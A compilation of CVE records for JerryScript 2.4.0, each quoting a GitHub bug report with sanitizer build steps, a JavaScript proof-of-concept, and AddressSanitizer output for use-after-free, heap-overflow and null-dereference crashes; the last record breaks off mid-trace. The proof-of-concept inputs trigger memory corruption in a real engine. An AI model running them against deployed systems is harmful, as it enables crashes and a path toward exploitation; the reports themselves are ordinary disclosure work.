An issue was discovered in JerryScript 2.4.0. There is a heap-use-after-free in ecma_is_lexical_environment in the ecma-helpers.c file.

https://github.com/jerryscript-project/jerryscript/issues/4445

github.com

###### JerryScript revision fdaacde6 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.4.0-179-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset ``` ###### Test case ``` var a= ["", "\0", "\t", "\n", "\v", "\f", "\r", " ", "\u00a0", "\u2028", "\u2029", "\ufeff"] Array.prototype[4] = 10; function Test() { a.sort(function() { var A = function() { }; A.prototype.x = 42; var o = new Proxy({ "3": { writable:false, value:20 } }, { getPrototypeOf: function (val, size, ch) { var result = new String(val); if (ch == null) { ch = " "; } while (result.length < size) { result = ch + result; } return result; } }); o.x = 43; var result = ""; for (var p in o) result += o[p]; return a | 0; }); WScript.Echo(a); } Test(); ``` ###### Execution steps ``` ./build/bin/jerry ./build/bin/poc.js ``` ###### Output ``` ================================================================= ==179417==ERROR: AddressSanitizer: heap-use-after-free on address 0xf5304720 at pc 0x566b5311 bp 0xff9aa468 sp 0xff9aa458 READ of size 2 at 0xf5304720 thread T0 #0 0x566b5310 in ecma_is_lexical_environment /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:177 #1 0x566b5447 in ecma_get_object_type /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:203 #2 0x56670759 in ecma_op_object_get_own_property_descriptor /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1862 #3 0x56672f01 in ecma_op_object_enumerate /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:2513 #4 0x56612f78 in opfunc_for_in /root/jerryscript/jerry-core/vm/opcodes.c:368 #5 0x56630ffe in vm_loop.lto_priv.465 /root/jerryscript/jerry-core/vm/vm.c:3986 #6 0x565f87c3 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4953 #7 0x565f8e0c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 #8 0x566a74be in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1182 #9 0x566a8106 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1412 #10 0x565fc0b9 in ecma_builtin_array_prototype_object_sort_compare_helper /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:1063 #11 0x565ddfba in ecma_builtin_helper_array_merge_sort_bottom_up /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:47 #12 0x565de1f0 in ecma_builtin_helper_array_merge_sort_helper /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:109 #13 0x565fc84f in ecma_builtin_array_prototype_object_sort /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:1184 #14 0x566030f9 in ecma_builtin_array_prototype_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2918 #15 0x566cf1d0 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1490 #16 0x566cf466 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1522 #17 0x566a7805 in ecma_op_function_call_native /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1246 #18 0x566a8125 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1416 #19 0x5661dd7d in opfunc_call.lto_priv.464 /root/jerryscript/jerry-core/vm/vm.c:822 #20 0x565f8827 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4959 #21 0x565f8e0c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 #22 0x566a74be in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1182 #23 0x566a8106 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1412 #24 0x5661dd7d in opfunc_call.lto_priv.464 /root/jerryscript/jerry-core/vm/vm.c:822 #25 0x565f8827 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4959 #26 0x565f8e0c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 #27 0x5661c015 in vm_run_global /root/jerryscript/jerry-core/vm/vm.c:350 #28 0x566e3344 in jerry_run /root/jerryscript/jerry-core/api/jerry.c:608 #29 0x566dc51a in main /root/jerryscript/jerry-main/main-unix.c:123 #30 0xf6f11f20 in __libc_start_main (/lib32/libc.so.6+0x18f20) #31 0x565877e0 (/root/jerryscript/build3/bin/jerry+0x1d7e0) 0xf5304720 is located 0 bytes inside of 24-byte region [0xf5304720,0xf5304738) freed by thread T0 here: #0 0xf72a0b94 in __interceptor_free (/usr/lib32/libasan.so.4+0xe5b94) #1 0x566384f0 in jmem_heap_free_block_internal /root/jerryscript/jerry-core/jmem/jmem-heap.c:478 #2 0x5663889b in jmem_heap_free_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:692 #3 0x565f8ed9 in ecma_dealloc_extended_object /root/jerryscript/jerry-core/ecma/base/ecma-alloc.c:123 #4 0x566f6c53 in ecma_gc_free_object /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:1763 #5 0x566f78c6 in ecma_gc_run /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:1891 #6 0x566f7aa6 in ecma_free_unused_memory /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:1935 #7 0x56638278 in jmem_heap_gc_and_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:285 #8 0x56638318 in jmem_heap_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:325 #9 0x56671b58 in ecma_object_sort_property_names /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:2262 #10 0x56672c78 in ecma_op_object_own_property_keys /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:2463 #11 0x56672dba in ecma_op_object_enumerate /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:2489 #12 0x56612f78 in opfunc_for_in /root/jerryscript/jerry-core/vm/opcodes.c:368 #13 0x56630ffe in vm_loop.lto_priv.465 /root/jerryscript/jerry-core/vm/vm.c:3986 #14 0x565f87c3 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4953 #15 0x565f8e0c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 #16 0x566a74be in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1182 #17 0x566a8106 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1412 #18 0x565fc0b9 in ecma_builtin_array_prototype_object_sort_compare_helper /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:1063 #19 0x565ddfba in ecma_builtin_helper_array_merge_sort_bottom_up /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:47 #20 0x565de1f0 in ecma_builtin_helper_array_merge_sort_helper /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:109 #21 0x565fc84f in ecma_builtin_array_prototype_object_sort /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:1184 #22 0x566030f9 in ecma_builtin_array_prototype_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2918 #23 0x566cf1d0 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1490 #24 0x566cf466 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1522 #25 0x566a7805 in ecma_op_function_call_native /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1246 #26 0x566a8125 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1416 #27 0x5661dd7d in opfunc_call.lto_priv.464 /root/jerryscript/jerry-core/vm/vm.c:822 #28 0x565f8827 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4959 #29 0x565f8e0c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 previously allocated by thread T0 here: #0 0xf72a0f54 in malloc (/usr/lib32/libasan.so.4+0xe5f54) #1 0x566381a8 in jmem_heap_alloc /root/jerryscript/jerry-core/jmem/jmem-heap.c:254 #2 0x56638286 in jmem_heap_gc_and_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:291 #3 0x56638318 in jmem_heap_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:325 #4 0x565f8eb6 in ecma_alloc_extended_object /root/jerryscript/jerry-core/ecma/base/ecma-alloc.c:109 #5 0x566b4dfa in ecma_create_object /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:82 #6 0x5668ae26 in ecma_op_create_string_object /root/jerryscript/jerry-core/ecma/operations/ecma-string-object.c:83 #7 0x565f76f7 in ecma_builtin_string_dispatch_construct /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-string.c:387 #8 0x566cf78a in ecma_builtin_dispatch_construct /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1555 #9 0x566a8631 in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1562 #10 0x5661e2f4 in opfunc_construct.lto_priv.461 /root/jerryscript/jerry-core/vm/vm.c:907 #11 0x565f8865 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4980 #12 0x565f8e0c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 #13 0x566a74be in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1182 #14 0x566a8106 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1412 #15 0x56678cd3 in ecma_proxy_object_get_prototype_of /root/jerryscript/jerry-core/ecma/operations/ecma-proxy-object.c:318 #16 0x56673108 in ecma_op_object_enumerate /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:2552 #17 0x56612f78 in opfunc_for_in /root/jerryscript/jerry-core/vm/opcodes.c:368 #18 0x56630ffe in vm_loop.lto_priv.465 /root/jerryscript/jerry-core/vm/vm.c:3986 #19 0x565f87c3 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4953 #20 0x565f8e0c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 #21 0x566a74be in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1182 #22 0x566a8106 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1412 #23 0x565fc0b9 in ecma_builtin_array_prototype_object_sort_compare_helper /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:1063 #24 0x565ddfba in ecma_builtin_helper_array_merge_sort_bottom_up /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:47 #25 0x565de1f0 in ecma_builtin_helper_array_merge_sort_helper /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:109 #26 0x565fc84f in ecma_builtin_array_prototype_object_sort /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:1184 #27 0x566030f9 in ecma_builtin_array_prototype_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2918 #28 0x566cf1d0 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1490 #29 0x566cf466 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1522 SUMMARY: AddressSanitizer: heap-use-after-free /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:177 in ecma_is_lexical_environment Shadow bytes around the buggy address: 0x3ea60890: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa 0x3ea608a0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd 0x3ea608b0: fd fa fa fa fd fd fd fa fa fa fa fa fa fa fa fa 0x3ea608c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea608d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ea608e0: fa fa fa fa[fd]fd fd fa fa fa fd fd fd fa fa fa 0x3ea608f0: fd fd fd fa fa fa fd fd fd fa fa fa 00 00 00 fa 0x3ea60900: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 0x3ea60910: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 0x3ea60920: 00 00 00 fa fa fa 00 00 00 fa fa fa fd fd fd fd 0x3ea60930: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==179417==ABORTING ``` Credits: Found by chong from OWL337.

heap-use-after-free in ecma_is_lexical_environment

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4445/comments

2021-01-11T13:28:31Z

2021-01-15T19:54:09Z

https://github.com/jerryscript-project/jerryscript/issues/4445

CVE-2021-26195

2021-06-10T23:15:08.370

An issue was discovered in JerryScript 2.4.0. There is a heap-buffer-overflow in lexer_parse_number in js-lexer.c file.

https://github.com/jerryscript-project/jerryscript/issues/4442

github.com

###### JerryScript revision fdaacde ###### Build platform Ubuntu 18.04.5 LTS(Linux 4.15.0-119-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset ``` ###### Test case ``` eval('0x100000000_'); ``` ###### Output ``` ================================================================= ==15467==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5b00925 at pc 0x5673c8d4 bp 0xffe81f18 sp 0xffe81f08 READ of size 1 at 0xf5b00925 thread T0 #0 0x5673c8d3 in lexer_parse_number /root/jerryscript/jerry-core/parser/js/js-lexer.c:1396 #1 0x5673da94 in lexer_next_token /root/jerryscript/jerry-core/parser/js/js-lexer.c:1662 #2 0x566c3e07 in scanner_scan_all /root/jerryscript/jerry-core/parser/js/js-scanner.c:2518 #3 0x566a657a in parser_parse_source /root/jerryscript/jerry-core/parser/js/js-parser.c:1896 #4 0x566abd30 in parser_parse_script /root/jerryscript/jerry-core/parser/js/js-parser.c:2806 #5 0x5665fe7c in ecma_op_eval_chars_buffer /root/jerryscript/jerry-core/ecma/operations/ecma-eval.c:99 #6 0x5665fc4e in ecma_op_eval /root/jerryscript/jerry-core/ecma/operations/ecma-eval.c:58 #7 0x5670d998 in ecma_builtin_global_object_eval /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-global.c:110 #8 0x5670f33a in ecma_builtin_global_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-global.c:607 #9 0x5663f710 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1490 #10 0x5663f9a6 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1522 #11 0x56663e87 in ecma_op_function_call_native /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1246 #12 0x56664810 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1416 #13 0x566de64b in opfunc_call /root/jerryscript/jerry-core/vm/vm.c:822 #14 0x566f80af in vm_execute /root/jerryscript/jerry-core/vm/vm.c:4959 #15 0x566f86aa in vm_run /root/jerryscript/jerry-core/vm/vm.c:5060 #16 0x566dc8bc in vm_run_global /root/jerryscript/jerry-core/vm/vm.c:350 #17 0x565f388a in jerry_run /root/jerryscript/jerry-core/api/jerry.c:608 #18 0x565ec669 in main /root/jerryscript/jerry-main/main-unix.c:123 #19 0xf7722f20 in __libc_start_main (/lib32/libc.so.6+0x18f20) #20 0x565ebea0 (/root/jerryscript/build/bin/jerry+0x1eea0) 0xf5b00925 is located 0 bytes to the right of 21-byte region [0xf5b00910,0xf5b00925) allocated by thread T0 here: #0 0xf7a93f54 in malloc (/usr/lib32/libasan.so.4+0xe5f54) #1 0x56695fd4 in jmem_heap_alloc /root/jerryscript/jerry-core/jmem/jmem-heap.c:254 #2 0x566960ce in jmem_heap_gc_and_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:291 #3 0x56696161 in jmem_heap_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:325 #4 0x566f890c in ecma_alloc_string_buffer /root/jerryscript/jerry-core/ecma/base/ecma-alloc.c:222 #5 0x56615741 in ecma_new_ecma_string_from_utf8_buffer /root/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:263 #6 0x56615741 in ecma_new_ecma_string_from_utf8 /root/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:357 #7 0x5662c6f0 in ecma_find_or_create_literal_string /root/jerryscript/jerry-core/ecma/base/ecma-literal-storage.c:170 #8 0x566a314a in parser_post_processing /root/jerryscript/jerry-core/parser/js/js-parser.c:1312 #9 0x566a7726 in parser_parse_source /root/jerryscript/jerry-core/parser/js/js-parser.c:2019 #10 0x566abd30 in parser_parse_script /root/jerryscript/jerry-core/parser/js/js-parser.c:2806 #11 0x565f340b in jerry_parse /root/jerryscript/jerry-core/api/jerry.c:459 #12 0x565ec536 in main /root/jerryscript/jerry-main/main-unix.c:112 #13 0xf7722f20 in __libc_start_main (/lib32/libc.so.6+0x18f20) SUMMARY: AddressSanitizer: heap-buffer-overflow /root/jerryscript/jerry-core/parser/js/js-lexer.c:1396 in lexer_parse_number Shadow bytes around the buggy address: 0x3eb600d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3eb600e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3eb600f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3eb60100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3eb60110: fa fa fa fa fa fa 00 00 00 fa fa fa 00 00 00 fa =>0x3eb60120: fa fa 00 00[05]fa fa fa fd fd fd fa fa fa 00 00 0x3eb60130: 00 fa fa fa 00 00 00 00 fa fa 00 00 04 fa fa fa 0x3eb60140: 00 00 00 00 fa fa 00 00 05 fa fa fa 00 00 00 fa 0x3eb60150: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x3eb60160: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x3eb60170: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==15467==ABORTING ``` Credits: Found by chong from OWL337.

heap-buffer-overflow in lexer_parse_number

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4442/comments

2021-01-11T13:04:23Z

2021-01-11T17:48:54Z

https://github.com/jerryscript-project/jerryscript/issues/4442

CVE-2021-26197

2021-06-10T23:15:08.403

An issue was discovered in JerryScript 2.4.0. There is a SEGV in main_print_unhandled_exception in main-utils.c file.

https://github.com/jerryscript-project/jerryscript/issues/4403

github.com

###### JerryScript revision 2faafa4 ###### Build platform Ubuntu 18.04.5 LTS(Linux 4.15.0-119-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset --builddir=$PWD/build ``` ###### Test case ``` throw new SyntaxError("[0: 98, 1: 54, 8: false, 10: 21, foo: bar]"); ``` ###### Output ``` Error: Failed to open file: 0 ASAN:DEADLYSIGNAL ================================================================= ==13994==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000 (pc 0x5678dd4b bp 0xffca4f88 sp 0xffca4d10 T0) ==13994==The signal is caused by a READ memory access. ==13994==Hint: address points to the zero page. #0 0x5678dd4a in main_print_unhandled_exception /root/jerryscript/jerry-main/main-utils.c:341 #1 0x5678baae in main /root/jerryscript/jerry-main/main-unix.c:140 #2 0xf7760f20 in __libc_start_main (/lib32/libc.so.6+0x18f20) #3 0x5662c3d0 (/root/jerryscript/build/bin/jerry+0x1d3d0) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/jerryscript/jerry-main/main-utils.c:341 in main_print_unhandled_exception ==13994==ABORTING ``` Credits: Found by chong from OWL337.

SEGV in main_print_unhandled_exception

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4403/comments

2021-01-02T14:31:59Z

2021-01-08T15:03:34Z

https://github.com/jerryscript-project/jerryscript/issues/4403

CVE-2021-26198

2021-06-10T23:15:08.433

An issue was discovered in JerryScript 2.4.0. There is a SEVG in ecma_deref_bigint in ecma-helpers.c file.

https://github.com/jerryscript-project/jerryscript/issues/4402

github.com

###### JerryScript revision 2faafa4 ###### Build platform Ubuntu 18.04.5 LTS(Linux 4.15.0-119-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset --builddir=$PWD/build ``` ###### Test case ``` var p = new Proxy(Function(), { get: function closure() { eval("o.p.y"); delete closure; return closure == arguments.callee && !(new String(undefined)); }}); Function.prototype.bind.call(p); ``` ###### Output ``` ReferenceError: o is not defined ASAN:DEADLYSIGNAL ================================================================= ==24756==ERROR: AddressSanitizer: SEGV on unknown address 0xbebebeb8 (pc 0x56782398 bp 0xff8c72d8 sp 0xff8c72b0 T0) ==24756==The signal is caused by a READ memory access. #0 0x56782397 in ecma_deref_bigint /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1264 #1 0x5677d2c5 in ecma_free_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:1147 #2 0x567c10fc in ecma_gc_free_object /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:1742 #3 0x567c1e68 in ecma_gc_run /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:1898 #4 0x5678385a in ecma_finalize /root/jerryscript/jerry-core/ecma/base/ecma-init-finalize.c:83 #5 0x567acb1d in jerry_cleanup /root/jerryscript/jerry-core/api/jerry.c:256 #6 0x567a7a9c in main /root/jerryscript/jerry-main/main-unix.c:324 #7 0xf774af20 in __libc_start_main (/lib32/libc.so.6+0x18f20) #8 0x566473d0 (/root/jerryscript/build/bin/jerry+0x1d3d0) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1264 in ecma_deref_bigint ==24756==ABORTING ``` Credits: Found by chong from OWL337.

SEVG in ecma_deref_bigint

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4402/comments

2021-01-02T14:29:48Z

2021-01-07T11:10:55Z

https://github.com/jerryscript-project/jerryscript/issues/4402

CVE-2021-26199

2021-06-10T23:15:08.467

An issue was discovered in JerryScript 2.4.0. There is a heap-use-after-free in ecma_bytecode_ref in ecma-helpers.c file.

https://github.com/jerryscript-project/jerryscript/issues/4056

github.com

###### JerryScript revision da5b058 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset --lto=off ``` ###### Test case ``` function echo(RegExp) { try { (r).compile(r).compile(RegExp.prototype) } catch (err) { } } var suppressLastIndex = false; var suppressRegExp = false; var suppressIndex = false; function safeCall(f) { var args = []; for (var a = 1; a < arguments.length; ++a) args.push(arguments[a]); try { return f.apply(this, args); } catch (ex) { echo("EXCEPTION"); } } function dump(o) { var sb = []; if (o === null) sb.push("null"); else if (o === undefined) sb.push("undefined"); else if (o === true) sb.push("true"); else if (o === false) sb.push("false"); else if (typeof o === "number") sb.push(o.toString()); else if (typeof o == "string") { if (o.length > 8192) sb.push("<long string>"); else { sb.push("\""); var start = -1; for (var i = 0; i < o.length; i++) { var c = o.charCodeAt(i); if (c < 32 || c > 127 || c == '"'.charCodeAt(0) || c == '\\'.charCodeAt(0)) { if (start >= 0) sb.push(o.substring(start, i)); start = -1; sb.push("\\u"); sb.push(String.fromCharCode(hex.charCodeAt((c >> 12) & 0xf))); sb.push(String.fromCharCode(hex.charCodeAt((c >> 8) & 0xf))); sb.push(String.fromCharCode(hex.charCodeAt((c >> 4) & 0xf))); sb.push(String.fromCharCode(hex.charCodeAt((c >> 0) & 0xf))); } else { if (start < 0) start = i; } } if (start >= 0) sb.push(o.substring(start, o.length)); sb.push("\""); } } else if (o instanceof RegExp) { var body = o.source; sb.push("/"); var start = -1; for (var i = 0; i < body.length; i++) { var c = body.charCodeAt(i); if (c < 32 || c > 127) { if (start >= 0) sb.push(body.substring(start, i)); start = -1; sb.push("\\u"); sb.push(String.fromCharCode(hex.charCodeAt((c >> 12) & 0xf))); sb.push(String.fromCharCode(hex.charCodeAt((c >> 8) & 0xf))); sb.push(String.fromCharCode(hex.charCodeAt((c >> 4) & 0xf))); sb.push(String.fromCharCode(hex.charCodeAt((c >> 0) & 0xf))); } else { if (start < 0) start = i; } } if (start >= 0) sb.push(body.substring(start, body.length)); sb.push("/"); if (o.global) sb.push("g"); if (o.ignoreCase) sb.push("i"); if (o.multiline) sb.push("m"); if (!suppressLastIndex && o.lastIndex !== undefined) { sb.push(" /*lastIndex="); sb.push(o.lastIndex); sb.push("*/ "); } } else if (o.length !== undefined) { sb.push("["); for (var i = 0; i < o.length; i++) { if (i > 0) sb.push(","); sb.push(dump(o[i])); } sb.push("]"); if (!suppressIndex && (o.input !== undefined || o.index !== undefined)) { sb.push(" /*input="); sb.push(dump(o.input)); sb.push(", index="); sb.push(dump(o.index)); sb.push("*/ "); } } else if (o.toString !== undefined) { sb.push("<object with toString>"); } else sb.push(o.toString()); return sb.join(""); } function pre(w, origargs, n) { var sb = [w]; sb.push("("); for (var i = 0; i < n; i++) { if (i > 0) sb.push(", "); sb.push(dump(origargs[i])); } if (origargs.length > n) { sb.push(", "); sb.push(dump(origargs[n])); origargs[0].lastIndex = origargs[n]; } sb.push(");"); echo(sb.join("")); } function post(r) { if (!suppressLastIndex) { echo("r.lastIndex=" + dump(r.lastIndex)); } if (!suppressRegExp) { var sb = []; sb.push("RegExp.${_,1,...,9}=["); sb.push(dump(RegExp.$_)); for (var i = 1; i <= 9; i++) { sb.push(","); sb.push(dump(RegExp["$" + i])); } sb.push("]"); echo(sb.join("")); } } function exec(r, s) { pre("exec", arguments, 2); echo(dump(r.exec(s))); post(r); } function test(r, s) { pre("test", arguments, 2); echo(dump(r.test(s))); post(r); } function replace(r, s, o) { pre("replace", arguments, 3); echo(dump(s.replace(r, o))); post(r); } function split(r, s) { pre("split", arguments, 2); echo(dump(s.split(r))); post(r); } function match(r, s) { pre("match", arguments, 2); echo(dump(s.match(r))); post(r); } function search(r, s) { pre("search", arguments, 2); echo(dump(s.search(r))); post(r); } function bogus(r, o) { echo("bogus(" + dump(r) + ", " + dump(o) + ");"); try { new RegExp(r, o); echo("FAILED"); } catch (e) { echo("PASSED"); } } var r, s; r = /a*/g; s = "cdsddfs"; exec(r, s); exec(r, s); ``` ###### Output ``` ================================================================= ==80830==ERROR: AddressSanitizer: heap-use-after-free on address 0xf6502022 at pc 0x08073345 bp 0xffe00ad8 sp 0xffe00ac8 READ of size 2 at 0xf6502022 thread T0 #0 0x8073344 in ecma_bytecode_ref /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1344 #1 0x80b41fb in ecma_op_create_regexp_from_bytecode /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:362 #2 0x8133fe1 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:320 #3 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567 #4 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216 #5 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240 #6 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845 #7 0x8099c3f in ecma_op_function_call 